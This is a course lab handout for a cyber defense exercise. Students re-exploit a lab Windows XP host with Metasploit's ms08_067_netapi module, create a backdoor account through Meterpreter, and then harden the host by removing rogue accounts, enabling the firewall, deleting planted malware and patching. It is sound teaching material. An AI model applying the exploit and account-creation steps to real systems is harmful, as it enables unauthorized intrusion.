**SY110 Cyber Defense Lab**

Alright Cyber Warriors, you successfully executed all phases of a Cyber Attack. Time to learn how to secure a system against a Cyber Attacker like you. It has been a week since you attacked the ship’s navigational system. Your conscience has gotten the best of you, and now you want to use your skills for good. You are going to take off your black hat and put on a grey hat. If you remember, black hat hackers hack without consent or good intentions and grey hat hackers hack without consent but with good intentions. So you are going to be a grey hat hacker this time and access that system to harden it against future attacks.

1. To begin, go to: <https://sy110.moboard.com/attack/message.cgi> to input your alpha and get your ip address assignments again!

2. List the two IP addresses that you were assigned on the assignment webpage, you will need to reference these frequently:

|  |  |
| --- | --- |
| Kali IP Address: |  |
| Ship’s IP Address: |  |

3. Next step is to SSH into the Gateway server. To do this, on your computer open a command shell by typing cmd in the search bar. Inside the command shell type **ssh <m23xxxx>@sy110.moboard.com** (where m23xxxx is your alpha) The password is your alpha minus the “m”, so just 23xxxx.

4. Once logged in, your prompt should change to green and say **m23xxxx@sy110**. You now have a shell into the Gateway server which is inside the virtual environment we are using for this lab.

5. You will now ssh into the attack system which is the Kali system which you noted above. To do this

type ssh root@<Kali IP Address> replace <Kali IP Address> with the IP address you have written down for the Kali system above. You may receive a warning about adding this system to the list of known hosts, you can input ‘yes’. The password is toor (root backwards).

6. You should now be ssh’ed into the kali machine, you will know this, because your prompt will now say root@kalimaster01. Double check to see that you are on the correct machine by typing:

**ifconfig**

|  |
| --- |
|  |

Under the **eth0** settings, does the **inet** match your kali IP Address, yes or no?

If no, go back and redo step 5 and 6.

7. Once in the Kali system you are going to use Meterpreter to execute the same exploit as last week. You are going to do this to create another user so you can SSH into the target system and apply the defenses. First step as always is to make sure our target host is available by pinging the target system. In your Kali shell enter:

**ping** <Ship IP Address>

Use CTRl+C to stop the ping. What are the results after you ping the target ship? If you do not get a response, let your instructor know.

|  |
| --- |
|  |

Is the host connected to the network (i.e., up)?

8. Now that we have verified our target ship is up and running, we can launch Metasploit. To launch Metasploit in your Kali shell, type:

**msfconsole**

Give it a minute to load and it should say **msf5** along with some asci art.

|  |
| --- |
|  |

Do you see **msf5** as your prompt, yes or no?

9. We will use the same exploit as last week, **ms08\_067\_netapi.** To use the exploit simply type:

**use exploit/windows/smb/ms08\_067\_netapi**

Once you have done that your prompt should now look like:

**msf5 exploit(windows/smb/ms08\_067\_netapi)>**

|  |
| --- |
|  |

Have you successfully loaded the exploit, yes or no?

Now, set the target system by typing:

**set RHOST** <Ship IP Address>

Now that you have set the RHOST address, you can launch the exploit by typing:

**exploit**

It should say starting a reverse TCP handler on the target IP address. A reverse TCP handler is a script that forces the target (victim) to contact the attacker, thereby bypassing some inbound firewall rules that would have blocked the connection. Once the exploit has executed is should open a Meterpreter session with the prompt now looking like:

**meterpreter >**

10. Let’s check to make sure we have a shell into the correct system. Type:

**ipconfig**

|  |
| --- |
|  |

Does the **IPv4 Address** at the bottom interface match your target ship, yes or no?

11. Once again, we will create an account for us to use to SSH into the system. To create that user, in your Meterpreter shell type:

**run getgui –u <username> -p <password>**

Replace <username> with a username you can remember, and <password> is any easy password.

|  |
| --- |
|  |

What username did you use?

|  |
| --- |
|  |

What password did you use?

|  |
| --- |
|  |

Was the command successfully executed?

If your command was successfully executed you can quit meterpreter by typing:

**quit**

then exit metasploit by typing

**exit**

12. You should still be SSH’d into sy110.moboard.com. Within this session, you can now try to SSH into the target system with the user account that you just created. Inside your command shell type:

**ssh <username>@<ship IP address>**

When it asks for the password type the <password> you created in the previous step.

Your prompt should now say; C:\Program Files\openssh>

13. You have now SSH’ed into the target system. We are going to use SSH because it gives us more options than the Meterpreter shell. First thing is let’s get out of the openssh directory and into the c:\Windows\system32 directory by typing:

**cd C:\windows\system32**

Your prompt should now say:

C:\WINDOWS\system32>

**Applying the Principles of Defense**

Let’s review how we harden a system with the 3 Principles of Defense:

Principle of Least Privilege

* Remove any suspicious accounts
* Restrict privileged accounts

Principle of Defense in Depth

* Check Firewall status
* Delete Malware
* Patch System

Principle of Vigilance

* Monitor logs
* Antivirus
* Intrusion Detection Systems

**Removing Suspicious Accounts**

We will try to implement as many principles on the target system. First we will check the user accounts on the system and see if there are any suspicious ones to delete. To do this type:

**net user**

Each of those entries are user accounts on this system. Looking at the results, there seems to be a naming convention for legitimate users on this system which consists of first initial and last name, do not delete those. There are also 4 system accounts which you shouldn’t delete, they are:

**Administrator**

**HelpAssistant**

**IUSR\_WKSTA**

**IWAM\_WKSTA**

Finally, do not delete the account you created! Now delete the two remaining suspicious accounts. To delete an account, type:

**net user <username> /delete**

Where <username> is the user you want to delete.

Which two did you delete?

|  |
| --- |
|  |
|  |

**Restricting Privileges**

Of those remaining accounts we should now check to see which have administrator (elevated) privileges. An unprivileged account should not also have the same name as one with administrator privileges. Let’s check which accounts show up as Users (unprivileged). To do this type:

**net localgroup users**

Ignoring the NT AUTHORITY accounts and your account, list the 5 remaining user accounts.

|  |
| --- |
|  |
|  |
|  |
|  |
|  |

Now let’s see which accounts have elevated (Administrator) privileges. To do this type:

**net localgroup administrators**

Ignoring your account, do you see two accounts that are both in the Users group and the Administrators group? Which two are they?

|  |
| --- |
|  |
|  |

We should remove those two users from the Administrators group. If those users need elevated privileges, they can be issued new Administrator accounts. To remove them from the administrator group type:

**net localgroup administrators <username> /delete**

Now run the original command again and you should only see the Administrator account and your account.

**net localgroup administrators**

What accounts do you see?

|  |
| --- |
|  |
|  |

Let’s move on to cleaning up the system after our exploits last week. Remember the Malware we installed? Let’s be nice and remove that for them. To remove the Malware type:

**del gpsskew.exe**

Now let’s check the firewall status of this system. To check the firewall type:

**netsh firewall show opmode**

The firewall has different profiles, and both operational mode and exception mode. Two profiles indicate the firewall is disabled, we should turn those on. To do that type:

**netsh firewall set opmode mode = ENABLE exceptions = ENABLE profile = ALL**

|  |
| --- |
|  |

What message did you get?

Run the original command again and see if the firewalls are enabled.

**netsh firewall show opmode**

|  |
| --- |
|  |

Are they all enabled?

So we have cleaned up user accounts, and turned on the firewall. We should probably enable automatic updates, so they don’t get in this situation again. To do this type:

**sc config wuauserv start= auto**

Last thing we can do is patch the vulnerability we used to access the system at the beginning of the lab. To run the patch change directories to the c:\windows\updates\ by typing:

**cd c:\windows\updates**

Type **dir** to locate the patch:

**dir**

|  |
| --- |
|  |

What is the name of the patch file?

In Windows, to run a program you simply type its name. But with this patch that wouldn’t work because it pops open a dialogue box and waits for a response. The way to run it without having that box pop up is to run it with the **passive** option enabled. We also enable the **log** option so we can be sure when it runs. To run the patch type:

**winxp\_patch.exe /passive /log:C:\windows\updates\install.log**

*If at any time during the patch installation, you get a broken pipe error and lose connectivity, just ssh back into the machine. You will need to cd C:\windows\updates\ again too.*

Now we can type **dir** to see when the **install.log** file has been written. This indicates the program has run. Type **dir** and hit enter until you see the log file in the results. Once you see the install.log has been created let’s see what it says. To do this type:

**type install.log**

What does the last line say?

|  |
| --- |
|  |

We need to reboot the system for the patch to take effect, but before we do that we should delete our user account. To do that type:

**net user <username> /delete**

|  |
| --- |
|  |

Was the command successful?

Now we should restart the system so the patch takes effect. To do this type:

**shutdown -r -t 00 -f**

|  |
| --- |
|  |

Wait 30 seconds and hit enter again. Did you lose your SSH session?

You could try SSH’ing in again but since we deleted your user account you will not be able to. You can close that command shell window. We will not be needing it anymore.

**Extra Credit - Hack back into the Ship’s system**

Try to gain access to the ship’s system now by using the same exploit in Metasploit that you used at the beginning of the lab. You should still have a command shell open into your Kali machine. Go through steps and see if you can create a session.

|  |
| --- |
|  |

Were you able to create a session?

Congratulations! You have successfully hardened the target system against Cyber Attacks by employing the Principles of Defense.